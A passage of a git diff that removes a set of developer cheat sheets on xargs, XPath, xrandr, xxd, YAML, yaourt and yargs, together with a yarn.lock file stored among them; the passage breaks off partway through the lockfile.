--   Python can be treated in a procedural way, an object-orientated way or a functional way.
-
-## Good to know
-
--   The most recent major version of Python is Python 3, which we shall be using in this tutorial. However, Python 2, although not being updated with anything other than security updates, is still quite popular.
--   In this tutorial Python will be written in a text editor. It is possible to write Python in an Integrated Development Environment, such as Thonny, Pycharm, Netbeans or Eclipse which are particularly useful when managing larger collections of Python files.
-
-## References
-
--   [w3schools.com](https://www.w3schools.com/python/python_intro.asp)
diff --git a/docs/content/cheat-sheets/xargs.md b/docs/content/cheat-sheets/xargs.md
deleted file mode 100644
index 23aceff732..0000000000
--- a/docs/content/cheat-sheets/xargs.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# To Find all file name ending with .pdf and remove them
-
-find -name \*.pdf | xargs rm -rf
-
-# if file name contains spaces you should use this instead
-
-find -name \*.pdf | xargs -I{} rm -rf '{}'
-
-# Will show every .pdf like:
-
-# &toto.pdf=
-
-# &titi.pdf=
-
-# -n1 => One file by one file. ( -n2 => 2 files by 2 files )
-
-find -name \*.pdf | xargs -I{} -n1 echo '&{}='
-
-# If find returns no result, do not run rm
-
-# This option is a GNU extension.
-
-find -name "\*.pdf" | xargs --no-run-if-empty rm
diff --git a/docs/content/cheat-sheets/xmlto.md b/docs/content/cheat-sheets/xmlto.md
deleted file mode 100644
index fa0aad1c0a..0000000000
--- a/docs/content/cheat-sheets/xmlto.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To convert DocBook XML to PDF
-
-xmlto pdf mydoc.xml
-
-# To convert DocBook XML to HTML
-
-xmlto -o html-dir html mydoc.xml
-
-# To convert DocBook XML to single HTML file
-
-xmlto html-nochunks mydoc.xml
-
-# To modify output with XSL override
-
-xmlto -m ulink.xsl pdf mydoc.xml
-
-# To use non-default xsl
-
-xmlto -x mystylesheet.xsl pdf mydoc.xml
diff --git a/docs/content/cheat-sheets/xpath.md b/docs/content/cheat-sheets/xpath.md
deleted file mode 100644
index 50ab821b38..0000000000
--- a/docs/content/cheat-sheets/xpath.md
+++ /dev/null
@@ -1,436 +0,0 @@
----
-title: Xpath
-category: HTML
-
-tags: [Featured]
-weight: -5
-description: |
-    $x('//div//p//*') == $('div p *'), $x('//[@id="item"]') == $('#item'), and many other Xpath examples.
----
-
-## Testing
-
-### Xpath test bed
-
-{: .-intro}
-
-Test queries in the Xpath test bed:
-
--   [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_
-
-### Browser console
-
-```js
-$x('//div');
-```
-
-Works in Firefox and Chrome.
-
-## Selectors
-
-### Descendant selectors
-
-| CSS            | Xpath       | ?              |
-| -------------- | ----------- | -------------- |
-| `h1`           | `//h1`      | [?](#prefixes) |
-| `div p`        | `//div//p`  | [?](#axes)     |
-| `ul > li`      | `//ul/li`   | [?](#axes)     |
-| `ul > li > a`  | `//ul/li/a` |                |
-| `div > *`      | `//div/*`   |                |
-| ----           | ----        | --             |
-| `:root`        | `/`         | [?](#prefixes) |
-| `:root > body` | `/body`     |                |
-
-{: .xp}
-
-### Attribute selectors
-
-| CSS                    | Xpath                                                    | ?                      |
-| ---------------------- | -------------------------------------------------------- | ---------------------- |
-| `#id`                  | `//*[@id="id"]`                                          | [?](#predicates)       |
-| `.class`               | `//*[@class="class"]` _...[kinda](#class-check)_         |                        |
-| `input[type="submit"]` | `//input[@type="submit"]`                                |                        |
-| `a#abc[for="xyz"]`     | `//a[@id="abc"][@for="xyz"]`                             | [?](#chaining-order)   |
-| `a[rel]`               | `//a[@rel]`                                              |                        |
-| ----                   | ----                                                     | --                     |
-| `a[href^='/']`         | `//a[starts-with(@href, '/')]`                           | [?](#string-functions) |
-| `a[href$='pdf']`       | `//a[ends-with(@href, '.pdf')]`                          |                        |
-| `a[href*='://']`       | `//a[contains(@href, '://')]`                            |                        |
-| `a[rel~='help']`       | `//a[contains(@rel, 'help')]` _...[kinda](#class-check)_ |                        |
-
-{: .xp}
-
-### Order selectors
-
-| CSS                      | Xpath                     | ?                    |
-| ------------------------ | ------------------------- | -------------------- |
-| `ul > li:first-of-type`  | `//ul/li[1]`              | [?](#indexing)       |
-| `ul > li:nth-of-type(2)` | `//ul/li[2]`              |                      |
-| `ul > li:last-of-type`   | `//ul/li[last()]`         |                      |
-| `li#id:first-of-type`    | `//li[1][@id="id"]`       | [?](#chaining-order) |
-| `a:first-child`          | `//*[1][name()="a"]`      |                      |
-| `a:last-child`           | `//*[last()][name()="a"]` |                      |
-
-{: .xp}
-
-### Siblings
-
-| CSS        | Xpath                                | ?                |
-| ---------- | ------------------------------------ | ---------------- |
-| `h1 ~ ul`  | `//h1/following-sibling::ul`         | [?](#using-axes) |
-| `h1 + ul`  | `//h1/following-sibling::ul[1]`      |                  |
-| `h1 ~ #id` | `//h1/following-sibling::[@id="id"]` |                  |
-
-{: .xp}
-
-### jQuery
-
-| CSS                          | Xpath                            | ?                |
-| ---------------------------- | -------------------------------- | ---------------- |
-| `$('ul > li').parent()`      | `//ul/li/..`                     | [?](#other-axes) |
-| `$('li').closest('section')` | `//li/ancestor-or-self::section` |                  |
-| `$('a').attr('href')`        | `//a/@href`                      | [?](#steps)      |
-| `$('span').text()`           | `//span/text()`                  |                  |
-
-{: .xp}
-
-### Other things
-
-| CSS                     | Xpath                             | ?                       |
-| ----------------------- | --------------------------------- | ----------------------- | ------------ |
-| `h1:not([id])`          | `//h1[not(@id)]`                  | [?](#boolean-functions) |
-| Text match              | `//button[text()="Submit"]`       | [?](#operators)         |
-| Text match (substring)  | `//button[contains(text(),"Go")]` |                         |
-| Arithmetic              | `//product[@price > 2.50]`        |                         |
-| Has children            | `//ul[*]`                         |                         |
-| Has children (specific) | `//ul[li]`                        |                         |
-| Or logic                | `//a[@name or @href]`             | [?](#operators)         |
-| Union (joins results)   | `//a                              | //div`                  | [?](#unions) |
-
-{: .xp}
-
-<style>
-/* ensure tables align */
-table.xp {table-layout: fixed;}
-table.xp tr>:nth-child(1) {width: 35%;}
-table.xp tr>:nth-child(2) {width: auto;}
-table.xp tr>:nth-child(3) {width: 10%; text-align:right;}
-</style>
-
-### Class check
-
-```bash
-//div[contains(concat(' ',normalize-space(@class),' '),' foobar ')]
-```
-
-Xpath doesn't have the "check if part of space-separated list" operator, so this is the workaround ([source](http://pivotallabs.com/xpath-css-class-matching/)).
-
-## Expressions
-
-### Steps and axes
-
-| `//` | `ul` | `/` | `a[@id='link']` |
-| Axis | Step | Axis | Step |
-{: .-css-breakdown}
-
-### Prefixes
-
-| Prefix | Example               | What     |
-| ------ | --------------------- | -------- |
-| `//`   | `//hr[@class='edge']` | Anywhere |
-| `./`   | `./a`                 | Relative |
-| `/`    | `/html/body/div`      | Root     |
-
-{: .-headers}
-
-Begin your expression with any of these.
-
-### Axes
-
-| Axis | Example             | What       |
-| ---- | ------------------- | ---------- |
-| `/`  | `//ul/li/a`         | Child      |
-| `//` | `//[@id="list"]//a` | Descendant |
-
-{: .-headers}
-
-Separate your steps with `/`. Use two (`//`) if you don't want to select direct children.
-
-### Steps
-
-```bash
-//div
-//div[@name='box']
-//[@id='link']
-```
-
-A step may have an element name (`div`) and [predicates](#predicate) (`[...]`). Both are optional.
-They can also be these other things:
-
-```bash
-//a/text()     #=> "Go home"
-//a/@href      #=> "index.html"
-//a/*          #=> All a's child elements
-```
-
-## Predicates
-
-### Predicates
-
-```bash
-//div[true()]
-//div[@class="head"]
-//div[@class="head"][@id="top"]
-```
-
-Restricts a nodeset only if some condition is true. They can be chained.
-
-### Operators
-
-```bash
-# Comparison
-//a[@id = "xyz"]
-//a[@id != "xyz"]
-//a[@price > 25]
-```
-
-```bash
-# Logic (and/or)
-//div[@id="head" and position()=2]
-//div[(x and y) or not(z)]
-```
-
-Use comparison and logic operators to make conditionals.
-
-### Using nodes
-
-```bash
-# Use them inside functions
-//ul[count(li) > 2]
-//ul[count(li[@class='hide']) > 0]
-```
-
-```bash
-# This returns `<ul>` that has a `<li>` child
-//ul[li]
-```
-
-You can use nodes inside predicates.
-
-### Indexing
-
-```bash
-//a[1]                  # first <a>
-//a[last()]             # last <a>
-//ol/li[2]              # second <li>
-//ol/li[position()=2]   # same as above
-//ol/li[position()>1]   # :not(:first-of-type)
-```
-
-Use `[]` with a number, or `last()` or `position()`.
-
-### Chaining order
-
-```bash
-a[1][@href='/']
-a[@href='/'][1]
-```
-
-Order is significant, these two are different.
-
-### Nesting predicates
-
-```
-//section[.//h1[@id='hi']]
-```
-
-This returns `<section>` if it has an `<h1>` descendant with `id='hi'`.
-
-## Functions
-
-### Node functions
-
-```bash
-name()                     # //[starts-with(name(), 'h')]
-text()                     # //button[text()="Submit"]
-                           # //button/text()
-lang(str)
-namespace-uri()
-```
-
-```bash
-count()                    # //table[count(tr)=1]
-position()                 # //ol/li[position()=2]
-```
-
-### Boolean functions
-
-```bash
-not(expr)                  # button[not(starts-with(text(),"Submit"))]
-```
-
-### String functions
-
-```bash
-contains()                 # font[contains(@class,"head")]
-starts-with()              # font[starts-with(@class,"head")]
-ends-with()                # font[ends-with(@class,"head")]
-```
-
-```bash
-concat(x,y)
-substring(str, start, len)
-substring-before("01/02", "/")  #=> 01
-substring-after("01/02", "/")   #=> 02
-translate()
-normalize-space()
-string-length()
-```
-
-### Type conversion
-
-```bash
-string()
-number()
-boolean()
-```
-
-## Axes
-
-### Using axes
-
-```bash
-//ul/li                       # ul > li
-//ul/child::li                # ul > li (same)
-//ul/following-sibling::li    # ul ~ li
-//ul/descendant-or-self::li   # ul li
-//ul/ancestor-or-self::li     # $('ul').closest('li')
-```
-
-Steps of an expression are separated by `/`, usually used to pick child nodes. That's not always true: you can specify a different "axis" with `::`.
-
-| `//` | `ul` | `/child::` | `li` |
-| Axis | Step | Axis | Step |
-{: .-css-breakdown}
-
-### Child axis
-
-```bash
-# both the same
-//ul/li/a
-//child::ul/child::li/child::a
-```
-
-`child::` is the default axis. This makes `//a/b/c` work.
-
-```bash
-# both the same
-# this works because `child::li` is truthy, so the predicate succeeds
-//ul[li]
-//ul[child::li]
-```
-
-```bash
-# both the same
-//ul[count(li) > 2]
-//ul[count(child::li) > 2]
-```
-
-### Descendant-or-self axis
-
-```bash
-# both the same
-//div//h4
-//div/descendant-or-self::h4
-```
-
-`//` is short for the `descendant-or-self::` axis.
-
-```bash
-# both the same
-//ul//[last()]
-//ul/descendant-or-self::[last()]
-```
-
-### Other axes
-
-| Axis                 | Abbrev | Notes                                            |
-| -------------------- | ------ | ------------------------------------------------ |
-| `ancestor`           |        |                                                  |
-| `ancestor-or-self`   |        |                                                  |
-| ---                  | ---    | ---                                              |
-| `attribute`          | `@`    | `@href` is short for `attribute::href`           |
-| `child`              |        | `div` is short for `child::div`                  |
-| `descendant`         |        |                                                  |
-| `descendant-or-self` | `//`   | `//` is short for `/descendant-or-self::node()/` |
-| `namespace`          |        |                                                  |
-| ---                  | ---    | ---                                              |
-| `self`               | `.`    | `.` is short for `self::node()`                  |
-| `parent`             | `..`   | `..` is short for `parent::node()`               |
-| ---                  | ---    | ---                                              |
-| `following`          |        |                                                  |
-| `following-sibling`  |        |                                                  |
-| `preceding`          |        |                                                  |
-| `preceding-sibling`  |        |                                                  |
-
-{: .-headers}
-
-There are other axes you can use.
-
-### Unions
-
-```bash
-//a | //span
-```
-
-Use `|` to join two expressions.
-
-## More examples
-
-### Examples
-
-```bash
-//*                 # all elements
-count(//*)          # count all elements
-(//h1)[1]/text()    # text of the first h1 heading
-//li[span]          # find a <li> with an <span> inside it
-                    # ...expands to //li[child::span]
-//ul/li/..          # use .. to select a parent
-```
-
-### Find a parent
-
-```bash
-//section[h1[@id='section-name']]
-```
-
-Finds a `<section>` that directly contains `h1#section-name`
-
-```bash
-//section[//h1[@id='section-name']]
-```
-
-Finds a `<section>` that contains `h1#section-name`.
-(Same as above, but uses descendant-or-self instead of child)
-
-### Closest
-
-```bash
-./ancestor-or-self::[@class="box"]
-```
-
-Works like jQuery's `$().closest('.box')`.
-
-### Attributes
-
-```bash
-//item[@price > 2*@discount]
-```
-
-Finds `<item>` and check its attributes
-
-## References
-
-{: .-one-column}
-
--   [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_
diff --git a/docs/content/cheat-sheets/xrandr.md b/docs/content/cheat-sheets/xrandr.md
deleted file mode 100644
index b8d1a8cbe6..0000000000
--- a/docs/content/cheat-sheets/xrandr.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To enable HDMI2 output with maximal resolution:
-
-xrandr --output HDMI2 --auto
-
-# To enable HDMI2 output with specific resolution:
-
-xrandr --output HDMI2 --mode 1280x800
-
-# To enable HDMI2 output next to HDMI1 output:
-
-xrandr --output HDMI2 --auto --right-of HDMI1
-
-# To disable HDMI2 output:
-
-xrandr --output HDMI2 --off
diff --git a/docs/content/cheat-sheets/xxd.md b/docs/content/cheat-sheets/xxd.md
deleted file mode 100644
index 24a8918c11..0000000000
--- a/docs/content/cheat-sheets/xxd.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To convert bin/string to hex:
-
-echo '42 is the solution' | xxd -p
-
-# output: 34322069732074686520736f6c7574696f6e0a
-
-# To convert hex to bin/string:
-
-echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p
-
-# output: 42 is the solution
diff --git a/docs/content/cheat-sheets/yaml.md b/docs/content/cheat-sheets/yaml.md
deleted file mode 100644
index 92ef8be035..0000000000
--- a/docs/content/cheat-sheets/yaml.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Yaml
-category: Markup
-
-prism_languages: [yaml]
----
-
-### Multiline strings
-
-```yaml
-Multiline: |
-    hello
-    world
-```
-
-### Inheritance
-
-```yaml
-parent: &defaults
-    a: 2
-    b: 3
-
-child:
-    <<: *defaults
-    b: 4
-```
-
-### Reference content
-
-```yaml
-values: &ref
-    - These values
-    - will be reused below
-
-other_values:
-    <<: *ref
-```
diff --git a/docs/content/cheat-sheets/yaourt.md b/docs/content/cheat-sheets/yaourt.md
deleted file mode 100644
index c529d69cd3..0000000000
--- a/docs/content/cheat-sheets/yaourt.md
+++ /dev/null
@@ -1,38 +0,0 @@
----
-tags: [packaging]
----
-
-# All pacman commands are working the same way with yaourt.
-
-# Just check the pacman cheatsheet.
-
-# For instance, to install a package:
-
-pacman -S <package>
-yaourt -S <package>
-
-# The difference is that yaourt will also query the Arch User Repository,
-
-# and if appropriate, donwload the source and build the package requested.
-
-# Here are the commands yaourt provides while pacman doesn't :
-
-# To search for <package> and install it:
-
-yaourt <package>
-
-# To update the local package base and upgrade all out of date package,
-
-# including the ones from AUR and the packages based on development repos (git,
-
-# svn, hg...)
-
-yaourt -Suya --devel
-
-# For all of the above commands, if you want yaourt to stop asking constantly for confirmations,
-
-use the option --noconfirm
-
-# To build <package> from source:
-
-yaourt -Sb <package>
diff --git a/docs/content/cheat-sheets/yargs.md b/docs/content/cheat-sheets/yargs.md
deleted file mode 100644
index 6496005e1d..0000000000
--- a/docs/content/cheat-sheets/yargs.md
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: Yargs
-category: JavaScript libraries
----
-
-### Basic usage
-
-```js
-var argv = require('yargs').argv;
-
-argv._; // [ ... ]
-argv.$0; // "node bin/mybin"
-argv.verbose; // --verbose
-```
-
-### Help and version
-
-```js
-var argv = require('yargs')
-    // version
-    .alias('v', 'version')
-    .version(function () {
-        return require('../package').version;
-    })
-    .describe('v', 'show version information')
-
-    // help text
-    .alias('h', 'help')
-    .help('help')
-    .usage('Usage: $0 -x [num]')
-    .showHelpOnFail(false, 'Specify --help for available options');
-```
-
-### Options
-
-```js
-  .option('f', {
-      alias : 'file',
-      describe: 'x marks the spot',
-      type: 'string', /* array | boolean | string */
-      nargs: 1,
-      demand: true,
-      demand: 'file is required',
-      default: '/etc/passwd'
-      // also: count:true, requiresArg:true
-  })
-
-  .options({
-    f: { ... }
-  })
-```
-
-### Examples and more help stuff
-
-```js
-  // more help
-  .example('...')
-  .epilog('copyright 2015')
-  .command('start', 'start a server')
-```
-
-### Stacking
-
-```js
-  .count('verbose')
-
-argv.verbose // -vvv => 3
-```
-
-### Reject non explicits
-
-```js
-  .strict()
-```
-
-### Methods
-
-```
-yargs.showHelp()
-yargs.help() //=>string
-```
diff --git a/docs/content/cheat-sheets/yarn.lock.md b/docs/content/cheat-sheets/yarn.lock.md
deleted file mode 100644
index 2ac337f071..0000000000
--- a/docs/content/cheat-sheets/yarn.lock.md
+++ /dev/null
@@ -1,8182 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-
-# yarn lockfile v1
-
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.10.1.tgz#d5481c5095daa1c57e16e54c6f9198443afb49ff"
-integrity sha512-IGhtTmpjGbYzcEDOw7DcQtbQSXcG9ftmAXtWTu9V936vDye4xjjekktFAtgZsWpzTj/X01jocB46mTywm/4SZw==
-dependencies:
-"@babel/highlight" "^7.10.1"
-
-"@babel/compat-data@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.10.1.tgz#b1085ffe72cd17bf2c0ee790fc09f9626011b2db"
-integrity sha512-CHvCj7So7iCkGKPRFUfryXIkU2gSBw7VSZFYLsqVhrS47269VK2Hfi9S/YcublPMW8k1u2bQBlbDruoQEm4fgw==
-dependencies:
-browserslist "^4.12.0"
-invariant "^2.2.4"
-semver "^5.5.0"
-
-"@babel/core@^7.1.0", "@babel/core@^7.10.2", "@babel/core@^7.4.4", "@babel/core@^7.7.5":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.10.2.tgz#bd6786046668a925ac2bd2fd95b579b92a23b36a"
-integrity sha512-KQmV9yguEjQsXqyOUGKjS4+3K8/DlOCE2pZcq4augdQmtTy5iv5EHtmMSJ7V4c1BIPjuwtZYqYLCq9Ga+hGBRQ==
-dependencies:
-"@babel/code-frame" "^7.10.1"
-"@babel/generator" "^7.10.2"
-"@babel/helper-module-transforms" "^7.10.1"
-"@babel/helpers" "^7.10.1"
-"@babel/parser" "^7.10.2"
-"@babel/template" "^7.10.1"
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.2"
-convert-source-map "^1.7.0"
-debug "^4.1.0"
-gensync "^1.0.0-beta.1"
-json5 "^2.1.2"
-lodash "^4.17.13"
-resolve "^1.3.2"
-semver "^5.4.1"
-source-map "^0.5.0"
-
-"@babel/generator@^7.10.1", "@babel/generator@^7.10.2", "@babel/generator@^7.4.4":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.10.2.tgz#0fa5b5b2389db8bfdfcc3492b551ee20f5dd69a9"
-integrity sha512-AxfBNHNu99DTMvlUPlt1h2+Hn7knPpH5ayJ8OqDWSeLld+Fi2AYBTC/IejWDM9Edcii4UzZRCsbUt0WlSDsDsA==
-dependencies:
-"@babel/types" "^7.10.2"
-jsesc "^2.5.1"
-lodash "^4.17.13"
-source-map "^0.5.0"
-
-"@babel/helper-annotate-as-pure@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.10.1.tgz#f6d08acc6f70bbd59b436262553fb2e259a1a268"
-integrity sha512-ewp3rvJEwLaHgyWGe4wQssC2vjks3E80WiUe2BpMb0KhreTjMROCbxXcEovTrbeGVdQct5VjQfrv9EgC+xMzCw==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-builder-binary-assignment-operator-visitor@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.1.tgz#0ec7d9be8174934532661f87783eb18d72290059"
-integrity sha512-cQpVq48EkYxUU0xozpGCLla3wlkdRRqLWu1ksFMXA9CM5KQmyyRpSEsYXbao7JUkOw/tAaYKCaYyZq6HOFYtyw==
-dependencies:
-"@babel/helper-explode-assignable-expression" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-builder-react-jsx-experimental@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-builder-react-jsx-experimental/-/helper-builder-react-jsx-experimental-7.10.1.tgz#9a7d58ad184d3ac3bafb1a452cec2bad7e4a0bc8"
-integrity sha512-irQJ8kpQUV3JasXPSFQ+LCCtJSc5ceZrPFVj6TElR6XCHssi3jV8ch3odIrNtjJFRZZVbrOEfJMI79TPU/h1pQ==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/helper-module-imports" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-builder-react-jsx@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-builder-react-jsx/-/helper-builder-react-jsx-7.10.1.tgz#a327f0cf983af5554701b1215de54a019f09b532"
-integrity sha512-KXzzpyWhXgzjXIlJU1ZjIXzUPdej1suE6vzqgImZ/cpAsR/CC8gUcX4EWRmDfWz/cs6HOCPMBIJ3nKoXt3BFuw==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-compilation-targets@^7.10.2":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.10.2.tgz#a17d9723b6e2c750299d2a14d4637c76936d8285"
-integrity sha512-hYgOhF4To2UTB4LTaZepN/4Pl9LD4gfbJx8A34mqoluT8TLbof1mhUlYuNWTEebONa8+UlCC4X0TEXu7AOUyGA==
-dependencies:
-"@babel/compat-data" "^7.10.1"
-browserslist "^4.12.0"
-invariant "^2.2.4"
-levenary "^1.1.1"
-semver "^5.5.0"
-
-"@babel/helper-create-class-features-plugin@^7.10.1":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.10.2.tgz#7474295770f217dbcf288bf7572eb213db46ee67"
-integrity sha512-5C/QhkGFh1vqcziq1vAL6SI9ymzUp8BCYjFpvYVhWP4DlATIb3u5q3iUd35mvlyGs8fO7hckkW7i0tmH+5+bvQ==
-dependencies:
-"@babel/helper-function-name" "^7.10.1"
-"@babel/helper-member-expression-to-functions" "^7.10.1"
-"@babel/helper-optimise-call-expression" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-replace-supers" "^7.10.1"
-"@babel/helper-split-export-declaration" "^7.10.1"
-
-"@babel/helper-create-regexp-features-plugin@^7.10.1", "@babel/helper-create-regexp-features-plugin@^7.8.3":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.1.tgz#1b8feeab1594cbcfbf3ab5a3bbcabac0468efdbd"
-integrity sha512-Rx4rHS0pVuJn5pJOqaqcZR4XSgeF9G/pO/79t+4r7380tXFJdzImFnxMU19f83wjSrmKHq6myrM10pFHTGzkUA==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/helper-regex" "^7.10.1"
-regexpu-core "^4.7.0"
-
-"@babel/helper-define-map@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-define-map/-/helper-define-map-7.10.1.tgz#5e69ee8308648470dd7900d159c044c10285221d"
-integrity sha512-+5odWpX+OnvkD0Zmq7panrMuAGQBu6aPUgvMzuMGo4R+jUOvealEj2hiqI6WhxgKrTpFoFj0+VdsuA8KDxHBDg==
-dependencies:
-"@babel/helper-function-name" "^7.10.1"
-"@babel/types" "^7.10.1"
-lodash "^4.17.13"
-
-"@babel/helper-explode-assignable-expression@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.10.1.tgz#e9d76305ee1162ca467357ae25df94f179af2b7e"
-integrity sha512-vcUJ3cDjLjvkKzt6rHrl767FeE7pMEYfPanq5L16GRtrXIoznc0HykNW2aEYkcnP76P0isoqJ34dDMFZwzEpJg==
-dependencies:
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-function-name@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.10.1.tgz#92bd63829bfc9215aca9d9defa85f56b539454f4"
-integrity sha512-fcpumwhs3YyZ/ttd5Rz0xn0TpIwVkN7X0V38B9TWNfVF42KEkhkAAuPCQ3oXmtTRtiPJrmZ0TrfS0GKF0eMaRQ==
-dependencies:
-"@babel/helper-get-function-arity" "^7.10.1"
-"@babel/template" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-get-function-arity@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.10.1.tgz#7303390a81ba7cb59613895a192b93850e373f7d"
-integrity sha512-F5qdXkYGOQUb0hpRaPoetF9AnsXknKjWMZ+wmsIRsp5ge5sFh4c3h1eH2pRTTuy9KKAA2+TTYomGXAtEL2fQEw==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-hoist-variables@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.10.1.tgz#7e77c82e5dcae1ebf123174c385aaadbf787d077"
-integrity sha512-vLm5srkU8rI6X3+aQ1rQJyfjvCBLXP8cAGeuw04zeAM2ItKb1e7pmVmLyHb4sDaAYnLL13RHOZPLEtcGZ5xvjg==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-member-expression-to-functions@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.10.1.tgz#432967fd7e12a4afef66c4687d4ca22bc0456f15"
-integrity sha512-u7XLXeM2n50gb6PWJ9hoO5oO7JFPaZtrh35t8RqKLT1jFKj9IWeD1zrcrYp1q1qiZTdEarfDWfTIP8nGsu0h5g==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-module-imports@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.10.1.tgz#dd331bd45bccc566ce77004e9d05fe17add13876"
-integrity sha512-SFxgwYmZ3HZPyZwJRiVNLRHWuW2OgE5k2nrVs6D9Iv4PPnXVffuEHy83Sfx/l4SqF+5kyJXjAyUmrG7tNm+qVg==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-module-transforms@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.10.1.tgz#24e2f08ee6832c60b157bb0936c86bef7210c622"
-integrity sha512-RLHRCAzyJe7Q7sF4oy2cB+kRnU4wDZY/H2xJFGof+M+SJEGhZsb+GFj5j1AD8NiSaVBJ+Pf0/WObiXu/zxWpFg==
-dependencies:
-"@babel/helper-module-imports" "^7.10.1"
-"@babel/helper-replace-supers" "^7.10.1"
-"@babel/helper-simple-access" "^7.10.1"
-"@babel/helper-split-export-declaration" "^7.10.1"
-"@babel/template" "^7.10.1"
-"@babel/types" "^7.10.1"
-lodash "^4.17.13"
-
-"@babel/helper-optimise-call-expression@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.10.1.tgz#b4a1f2561870ce1247ceddb02a3860fa96d72543"
-integrity sha512-a0DjNS1prnBsoKx83dP2falChcs7p3i8VMzdrSbfLhuQra/2ENC4sbri34dz/rWmDADsmF1q5GbfaXydh0Jbjg==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.1", "@babel/helper-plugin-utils@^7.8.0":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.1.tgz#ec5a5cf0eec925b66c60580328b122c01230a127"
-integrity sha512-fvoGeXt0bJc7VMWZGCAEBEMo/HAjW2mP8apF5eXK0wSqwLAVHAISCWRoLMBMUs2kqeaG77jltVqu4Hn8Egl3nA==
-
-"@babel/helper-regex@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-regex/-/helper-regex-7.10.1.tgz#021cf1a7ba99822f993222a001cc3fec83255b96"
-integrity sha512-7isHr19RsIJWWLLFn21ubFt223PjQyg1HY7CZEMRr820HttHPpVvrsIN3bUOo44DEfFV4kBXO7Abbn9KTUZV7g==
-dependencies:
-lodash "^4.17.13"
-
-"@babel/helper-remap-async-to-generator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.10.1.tgz#bad6aaa4ff39ce8d4b82ccaae0bfe0f7dbb5f432"
-integrity sha512-RfX1P8HqsfgmJ6CwaXGKMAqbYdlleqglvVtht0HGPMSsy2V6MqLlOJVF/0Qyb/m2ZCi2z3q3+s6Pv7R/dQuZ6A==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/helper-wrap-function" "^7.10.1"
-"@babel/template" "^7.10.1"
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-replace-supers@^7.10.1":
-version "7.10.1"
